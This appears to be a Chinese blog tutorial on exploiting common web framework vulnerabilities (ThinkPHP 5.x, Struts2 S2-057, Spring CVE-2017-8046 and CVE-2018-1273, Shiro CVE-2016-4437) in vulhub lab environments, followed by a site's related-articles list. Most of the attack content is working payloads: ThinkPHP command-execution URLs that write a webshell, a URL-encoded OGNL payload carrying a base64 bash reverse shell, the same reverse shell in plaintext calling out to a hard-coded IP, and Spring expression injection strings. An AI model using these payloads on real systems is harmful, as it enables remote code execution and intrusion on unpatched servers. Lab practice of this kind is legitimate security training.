当前位置: 首页 > news >正文

常见的框架漏洞

Thinkphp

Thinkphp5x远程命令执行及getshell

vulhub/thinkphp/5-rce

docker-compose up -d

命令执行

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

代码执行

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=echo "<?php phpinfo();?>" >>1.php

struts2

vulhub靶场 /struts2/s2-057

访问/struts2-showcase/

/struts2-showcase/${(123+123)}/actionChain1.action拼接后,可以看到数字相加

反弹shell(建议使用抓包替换,一次可能不成功)

可以使用url解码下面一大段内容,还原,将其中的反弹shell的base64编码语句换成自己的

bash -i >& /dev/tcp/39.105.47.83/6666 0>&1

拼接

%24%7b%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8zOS4xMDUuNDcuODMvNjY2NiAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d

Spring

远程命令执行命令

vulhub靶场 /spring/CVE-2017-8046

访问 /customers/1 刷新,进行抓包

修改抓包内容

[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value": "vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

spring 代码执行

CVE-2018-1273

/users

反弹shell

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("想要执行的命令")]=&password=&repeatedPassword=

远程下载反弹shell连接

bash-i >& /dev/tcp/39.105.47.83/6666 0>&1

执行文件


Shiro

Shiro rememberMe反序列化漏洞

vulhub靶场 /shiro/CVE-2016-4437

使⽤BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架

利用工具

反弹成功

http://www.dtcms.com/a/312894.html

相关文章:

  • IO流-对象流
  • MCP革命:AI世界的“USB-C”接口如何重塑智能体与外部工具的连接
  • 均线:从市场脉搏到量子计算的时空密码
  • K8S几种常见CNI深入比较
  • Qt::AA_DontCreateNativeWidgetSiblings使用注意事项
  • 游戏设计原理
  • Flutter开发 dart异步
  • Linux网络编程 ---五种IO模型
  • 基于 Spring Boot + Vue 实现人脸采集功能全流程
  • Python----大模型(从预训练到分布式优化的核心技术解析)
  • 2、RabbitMQ的5种模式基本使用(Maven项目)
  • 迈向透明人工智能: 可解释性大语言模型研究综述
  • ubuntu apt安装与dpkg安装相互之间的关系
  • Python 实例属性与方法命名冲突:一次隐藏的Bug引发的思考
  • 途游Android面试题及参考答案
  • 【GitHub探索】Agent开发平台CozeStudio开源版本踩坑体验
  • pycharm上如何添加conda环境
  • 嵌入式 C 语言入门:多文件编程实践笔记 —— 从文件创建到调用
  • 为何:内存数据断电即逝,硬盘数据牢笼长存
  • LangChain框架概念及简单的使用案例
  • ABP VNext + CloudEvents:事件驱动微服务互操作性
  • 计算机核心概念辨析与解析
  • 24SpringCloud黑马商城部署Java应用后浏览器访问数据库不显示数据的解决办法
  • 可持久化线段树 系列 题解
  • 【Python✨】解决 Conda 安装 MoviePy 报错问题
  • GitCode疑难问题诊疗
  • 12.Redis 主从复制
  • deep research|从搜索引擎到搜索助手的实践(一)
  • 企业自动化交互体系的技术架构与实现:从智能回复到自动评论—仙盟创梦IDE
  • 三、驱动篇-HDF驱动介绍1